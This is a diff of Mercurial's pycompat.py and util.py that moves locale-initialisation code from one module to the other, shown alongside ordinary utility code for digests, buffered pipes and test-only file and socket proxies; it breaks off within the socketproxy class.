 TYPE_CHECKING = False
 
 if not globals():  # hide this from non-pytype users
     import typing
 
     TYPE_CHECKING = typing.TYPE_CHECKING
 
 if not ispy3:
     import cookielib
     import cPickle as pickle
     import httplib
     import Queue as queue
     import SocketServer as socketserver
     import xmlrpclib
 
     from .thirdparty.concurrent import futures
 
     def future_set_exception_info(f, exc_info):
         f.set_exception_info(*exc_info)
 
 
 else:
     import concurrent.futures as futures
     import http.cookiejar as cookielib
     import http.client as httplib
     import pickle
     import queue as queue
     import socketserver
     import xmlrpc.client as xmlrpclib
 
     def future_set_exception_info(f, exc_info):
         f.set_exception(exc_info[0])
 
 
 def identity(a):
     return a
 
 
 def _rapply(f, xs):
     if xs is None:
         # assume None means non-value of optional data
         return xs
     if isinstance(xs, (list, set, tuple)):
         return type(xs)(_rapply(f, x) for x in xs)
     if isinstance(xs, dict):
         return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
     return f(xs)
 
 
 def rapply(f, xs):
     """Apply function recursively to every item preserving the data structure
 
     >>> def f(x):
     ...     return 'f(%s)' % x
     >>> rapply(f, None) is None
     True
     >>> rapply(f, 'a')
     'f(a)'
     >>> rapply(f, {'a'}) == {'f(a)'}
     True
     >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
     ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
 
     >>> xs = [object()]
     >>> rapply(identity, xs) is xs
     True
     """
     if f is identity:
         # fast path mainly for py2
         return xs
     return _rapply(f, xs)
 
 
-# Passing the '' locale means that the locale should be set according to the
-# user settings (environment variables).
-# Python sometimes avoids setting the global locale settings. When interfacing
-# with C code (e.g. the curses module or the Subversion bindings), the global
-# locale settings must be initialized correctly. Python 2 does not initialize
-# the global locale settings on interpreter startup. Python 3 sometimes
-# initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
-# explicitly initialize it to get consistent behavior if it's not already
-# initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
-# LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
-# if we can remove this code.
-if locale.setlocale(locale.LC_CTYPE, None) == 'C':
-    try:
-        locale.setlocale(locale.LC_CTYPE, '')
-    except locale.Error:
-        # The likely case is that the locale from the environment variables is
-        # unknown.
-        pass
-
-
 if ispy3:
     import builtins
     import codecs
     import functools
     import io
     import struct
 
     if os.name == r'nt' and sys.version_info >= (3, 6):
         # MBCS (or ANSI) filesystem encoding must be used as before.
         # Otherwise non-ASCII filenames in existing repositories would be
         # corrupted.
         # This must be set once prior to any fsencode/fsdecode calls.
         sys._enablelegacywindowsfsencoding()  # pytype: disable=module-attr
 
     fsencode = os.fsencode
     fsdecode = os.fsdecode
     oscurdir = os.curdir.encode('ascii')
     oslinesep = os.linesep.encode('ascii')
     osname = os.name.encode('ascii')
     ospathsep = os.pathsep.encode('ascii')
     ospardir = os.pardir.encode('ascii')
     ossep = os.sep.encode('ascii')
     osaltsep = os.altsep
     if osaltsep:
         osaltsep = osaltsep.encode('ascii')
     osdevnull = os.devnull.encode('ascii')
 
     sysplatform = sys.platform.encode('ascii')
     sysexecutable = sys.executable
     if sysexecutable:
         sysexecutable = os.fsencode(sysexecutable)
     bytesio = io.BytesIO
     # TODO deprecate stringio name, as it is a lie on Python 3.
     stringio = bytesio
 
     def maplist(*args):
         return list(map(*args))
 
     def rangelist(*args):
         return list(range(*args))
 
     def ziplist(*args):
         return list(zip(*args))
 
     rawinput = input
     getargspec = inspect.getfullargspec
 
     long = int
 
     # Warning: sys.stdout.buffer and sys.stderr.buffer do not necessarily have
     # the same buffering behavior as sys.stdout and sys.stderr. The interpreter
     # initializes them with block-buffered streams or unbuffered streams (when
     # the -u option or the PYTHONUNBUFFERED environment variable is set), never
     # with a line-buffered stream.
     # TODO: .buffer might not exist if std streams were replaced; we'll need
     # a silly wrapper to make a bytes stream backed by a unicode one.
     stdin = sys.stdin.buffer
     stdout = sys.stdout.buffer
     stderr = sys.stderr.buffer
 
     if getattr(sys, 'argv', None) is not None:
         # On POSIX, the char** argv array is converted to Python str using
         # Py_DecodeLocale(). The inverse of this is Py_EncodeLocale(), which
         # isn't directly callable from Python code. In practice, os.fsencode()
         # can be used instead (this is recommended by Python's documentation
         # for sys.argv).
         #
         # On Windows, the wchar_t **argv is passed into the interpreter as-is.
         # Like POSIX, we need to emulate what Py_EncodeLocale() would do. But
         # there's an additional wrinkle. What we really want to access is the
         # ANSI codepage representation of the arguments, as this is what
         # `int main()` would receive if Python 3 didn't define `int wmain()`
         # (this is how Python 2 worked). To get that, we encode with the mbcs
         # encoding, which will pass CP_ACP to the underlying Windows API to
         # produce bytes.
         if os.name == r'nt':
             sysargv = [a.encode("mbcs", "ignore") for a in sys.argv]
         else:
             sysargv = [fsencode(a) for a in sys.argv]
 
     bytechr = struct.Struct('>B').pack
     byterepr = b'%r'.__mod__
 
     class bytestr(bytes):
         """A bytes which mostly acts as a Python 2 str
 
         >>> bytestr(), bytestr(bytearray(b'foo')), bytestr(u'ascii'), bytestr(1)
         ('', 'foo', 'ascii', '1')
         >>> s = bytestr(b'foo')
         >>> assert s is bytestr(s)
 
         __bytes__() should be called if provided:
 
         >>> class bytesable(object):
         ...     def __bytes__(self):
         ...         return b'bytes'
         >>> bytestr(bytesable())
         'bytes'
 
         There's no implicit conversion from non-ascii str as its encoding is
         unknown:
 
         >>> bytestr(chr(0x80)) # doctest: +ELLIPSIS
         Traceback (most recent call last):
           ...
         UnicodeEncodeError: ...
 
         Comparison between bytestr and bytes should work:
 
         >>> assert bytestr(b'foo') == b'foo'
         >>> assert b'foo' == bytestr(b'foo')
         >>> assert b'f' in bytestr(b'foo')
         >>> assert bytestr(b'f') in b'foo'
 
         Sliced elements should be bytes, not integer:
 
         >>> s[1], s[:2]
         (b'o', b'fo')
         >>> list(s), list(reversed(s))
         ([b'f', b'o', b'o'], [b'o', b'o', b'f'])
 
         As bytestr type isn't propagated across operations, you need to cast
         bytes to bytestr explicitly:
 
         >>> s = bytestr(b'foo').upper()
         >>> t = bytestr(s)
         >>> s[0], t[0]
         (70, b'F')
 
         Be careful to not pass a bytestr object to a function which expects
         bytearray-like behavior.
 
         >>> t = bytes(t)  # cast to bytes
         >>> assert type(t) is bytes
         """
 
         def __new__(cls, s=b''):
             if isinstance(s, bytestr):
                 return s
             if not isinstance(
                 s, (bytes, bytearray)
             ) and not hasattr(  # hasattr-py3-only
                 s, u'__bytes__'
             ):
                 s = str(s).encode('ascii')
             return bytes.__new__(cls, s)
 
         def __getitem__(self, key):
             s = bytes.__getitem__(self, key)
             if not isinstance(s, bytes):
                 s = bytechr(s)
             return s
 
         def __iter__(self):
             return iterbytestr(bytes.__iter__(self))
 
         def __repr__(self):
             return bytes.__repr__(self)[1:]  # drop b''
 
     def iterbytestr(s):
         """Iterate bytes as if it were a str object of Python 2"""
         return map(bytechr, s)
 
     def maybebytestr(s):
         """Promote bytes to bytestr"""
         if isinstance(s, bytes):
             return bytestr(s)
         return s
 
     def sysbytes(s):
         """Convert an internal str (e.g. keyword, __doc__) back to bytes
 
         This never raises UnicodeEncodeError, but only ASCII characters
         can be round-trip by sysstr(sysbytes(s)).
         """
         if isinstance(s, bytes):
             return s
         return s.encode('utf-8')
 
     def sysstr(s):
         """Return a keyword str to be passed to Python functions such as
         getattr() and str.encode()
 
         This never raises UnicodeDecodeError. Non-ascii characters are
         considered invalid and mapped to arbitrary but unique code points
         such that 'sysstr(a) != sysstr(b)' for all 'a != b'.
         """
         if isinstance(s, builtins.str):
             return s
         return s.decode('latin-1')
 
     def strurl(url):
         """Converts a bytes url back to str"""
         if isinstance(url, bytes):
             return url.decode('ascii')
         return url
 
     def bytesurl(url):
         """Converts a str url to bytes by encoding in ascii"""
         if isinstance(url, str):
             return url.encode('ascii')
         return url
 
     def raisewithtb(exc, tb):
         """Raise exception with the given traceback"""
         raise exc.with_traceback(tb)
 
     def getdoc(obj):
         """Get docstring as bytes; may be None so gettext() won't confuse it
         with _('')"""
         doc = getattr(obj, '__doc__', None)
         if doc is None:
             return doc
         return sysbytes(doc)
 
     def _wrapattrfunc(f):
         @functools.wraps(f)
         def w(object, name, *args):
             return f(object, sysstr(name), *args)
 
         return w
 
     # these wrappers are automagically imported by hgloader
     delattr = _wrapattrfunc(builtins.delattr)
     getattr = _wrapattrfunc(builtins.getattr)
     hasattr = _wrapattrfunc(builtins.hasattr)
     setattr = _wrapattrfunc(builtins.setattr)
     xrange = builtins.range
     unicode = str
 
     def open(name, mode=b'r', buffering=-1, encoding=None):
         return builtins.open(name, sysstr(mode), buffering, encoding)
 
     safehasattr = _wrapattrfunc(builtins.hasattr)
 
     def _getoptbwrapper(orig, args, shortlist, namelist):
         """
         Takes bytes arguments, converts them to unicode, pass them to
         getopt.getopt(), convert the returned values back to bytes and then
         return them for Python 3 compatibility as getopt.getopt() don't accepts
         bytes on Python 3.
         """
         args = [a.decode('latin-1') for a in args]
         shortlist = shortlist.decode('latin-1')
         namelist = [a.decode('latin-1') for a in namelist]
         opts, args = orig(args, shortlist, namelist)
         opts = [(a[0].encode('latin-1'), a[1].encode('latin-1')) for a in opts]
         args = [a.encode('latin-1') for a in args]
         return opts, args
 
     def strkwargs(dic):
         """
         Converts the keys of a python dictonary to str i.e. unicodes so that
         they can be passed as keyword arguments as dictonaries with bytes keys
         can't be passed as keyword arguments to functions on Python 3.
         """
         dic = {k.decode('latin-1'): v for k, v in dic.items()}
         return dic
 
     def byteskwargs(dic):
         """
         Converts keys of python dictonaries to bytes as they were converted to
         str to pass that dictonary as a keyword argument on Python 3.
         """
         dic = {k.encode('latin-1'): v for k, v in dic.items()}
         return dic
 
     # TODO: handle shlex.shlex().
     def shlexsplit(s, comments=False, posix=True):
         """
         Takes bytes argument, convert it to str i.e. unicodes, pass that into
         shlex.split(), convert the returned value to bytes and return that for
         Python 3 compatibility as shelx.split() don't accept bytes on Python 3.
         """
         ret = shlex.split(s.decode('latin-1'), comments, posix)
         return [a.encode('latin-1') for a in ret]
 
     iteritems = lambda x: x.items()
     itervalues = lambda x: x.values()
 
     # Python 3.5's json.load and json.loads require str. We polyfill its
     # code for detecting encoding from bytes.
     if sys.version_info[0:2] < (3, 6):
 
         def _detect_encoding(b):
             bstartswith = b.startswith
             if bstartswith((codecs.BOM_UTF32_BE, codecs.BOM_UTF32_LE)):
                 return 'utf-32'
             if bstartswith((codecs.BOM_UTF16_BE, codecs.BOM_UTF16_LE)):
                 return 'utf-16'
             if bstartswith(codecs.BOM_UTF8):
                 return 'utf-8-sig'
 
             if len(b) >= 4:
                 if not b[0]:
                     # 00 00 -- -- - utf-32-be
                     # 00 XX -- -- - utf-16-be
                     return 'utf-16-be' if b[1] else 'utf-32-be'
                 if not b[1]:
                     # XX 00 00 00 - utf-32-le
                     # XX 00 00 XX - utf-16-le
                     # XX 00 XX -- - utf-16-le
                     return 'utf-16-le' if b[2] or b[3] else 'utf-32-le'
             elif len(b) == 2:
                 if not b[0]:
                     # 00 XX - utf-16-be
                     return 'utf-16-be'
                 if not b[1]:
                     # XX 00 - utf-16-le
                     return 'utf-16-le'
             # default
             return 'utf-8'
 
         def json_loads(s, *args, **kwargs):
             if isinstance(s, (bytes, bytearray)):
                 s = s.decode(_detect_encoding(s), 'surrogatepass')
 
             return json.loads(s, *args, **kwargs)
 
     else:
         json_loads = json.loads
 
 else:
     import cStringIO
 
     xrange = xrange
     unicode = unicode
     bytechr = chr
     byterepr = repr
     bytestr = str
     iterbytestr = iter
     maybebytestr = identity
     sysbytes = identity
     sysstr = identity
     strurl = identity
     bytesurl = identity
     open = open
     delattr = delattr
     getattr = getattr
     hasattr = hasattr
     setattr = setattr
 
     # this can't be parsed on Python 3
     exec(b'def raisewithtb(exc, tb):\n    raise exc, None, tb\n')
 
     def fsencode(filename):
         """
         Partial backport from os.py in Python 3, which only accepts bytes.
         In Python 2, our paths should only ever be bytes, a unicode path
         indicates a bug.
         """
         if isinstance(filename, str):
             return filename
         else:
             raise TypeError("expect str, not %s" % type(filename).__name__)
 
     # In Python 2, fsdecode() has a very chance to receive bytes. So it's
     # better not to touch Python 2 part as it's already working fine.
     fsdecode = identity
 
     def getdoc(obj):
         return getattr(obj, '__doc__', None)
 
     _notset = object()
 
     def safehasattr(thing, attr):
         return getattr(thing, attr, _notset) is not _notset
 
     def _getoptbwrapper(orig, args, shortlist, namelist):
         return orig(args, shortlist, namelist)
 
     strkwargs = identity
     byteskwargs = identity
 
     oscurdir = os.curdir
     oslinesep = os.linesep
     osname = os.name
     ospathsep = os.pathsep
     ospardir = os.pardir
     ossep = os.sep
     osaltsep = os.altsep
     osdevnull = os.devnull
     long = long
     stdin = sys.stdin
     stdout = sys.stdout
     stderr = sys.stderr
     if getattr(sys, 'argv', None) is not None:
         sysargv = sys.argv
     sysplatform = sys.platform
     sysexecutable = sys.executable
     shlexsplit = shlex.split
     bytesio = cStringIO.StringIO
     stringio = bytesio
     maplist = map
     rangelist = range
     ziplist = zip
     rawinput = raw_input
     getargspec = inspect.getargspec
     iteritems = lambda x: x.iteritems()
     itervalues = lambda x: x.itervalues()
     json_loads = json.loads
 
 isjython = sysplatform.startswith(b'java')
 
 isdarwin = sysplatform.startswith(b'darwin')
 islinux = sysplatform.startswith(b'linux')
 isposix = osname == b'posix'
 iswindows = osname == b'nt'
 
 
 def getoptb(args, shortlist, namelist):
     return _getoptbwrapper(getopt.getopt, args, shortlist, namelist)
 
 
 def gnugetoptb(args, shortlist, namelist):
     return _getoptbwrapper(getopt.gnu_getopt, args, shortlist, namelist)
 
 
 def mkdtemp(suffix=b'', prefix=b'tmp', dir=None):
     return tempfile.mkdtemp(suffix, prefix, dir)
 
 
 # text=True is not supported; use util.from/tonativeeol() instead
 def mkstemp(suffix=b'', prefix=b'tmp', dir=None):
     return tempfile.mkstemp(suffix, prefix, dir)
 
 
 # mode must include 'b'ytes as encoding= is not supported
 def namedtempfile(
     mode=b'w+b', bufsize=-1, suffix=b'', prefix=b'tmp', dir=None, delete=True
 ):
     mode = sysstr(mode)
     assert 'b' in mode
     return tempfile.NamedTemporaryFile(
         mode, bufsize, suffix=suffix, prefix=prefix, dir=dir, delete=delete
     )

mercurial/util.py

@@ -1,3598 +1,3628 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
+import locale
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     hashutil,
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod('base85')
 osutil = policy.importmod('osutil')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 
 def setumask(val):
     ''' updates the umask. used by chg server '''
     if pycompat.iswindows:
         return
     os.umask(val)
     global umask
     platform.umask = umask = val & 0o777
 
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         'ignore', 'bad escape', DeprecationWarning, 'mercurial'
     )
     warnings.filterwarnings(
         'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         'ignore',
         'the imp module is deprecated',
         DeprecationWarning,
         'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
         # on python 3 with chg, we will need to explicitly flush the output
         sys.stderr.flush()
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
     b'sha1': hashutil.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 
 def mmapread(fp, size=None):
     if size == 0:
         # size of 0 to mmap.mmap() means "all data"
         # rather than "zero bytes", so special case that.
         return b''
     elif size is None:
         size = 0
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, size, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, '_orig', fh)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             '_observer',
             # IOBase
             'close',
             # closed if a property
             'fileno',
             'flush',
             'isatty',
             'readable',
             'readline',
             'readlines',
             'seek',
             'seekable',
             'tell',
             'truncate',
             'writable',
             'writelines',
             # RawIOBase
             'read',
             'readall',
             'readinto',
             'write',
             # BufferedIOBase
             # raw is a property
             'detach',
             # read defined above
             'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, '_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     'makefile',
     'recv',
     'recvfrom',
     'recvfrom_into',
     'recv_into',
     'send',
     'sendall',
     'sendto',
     'setblocking',
     'settimeout',
     'gettimeout',
     'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
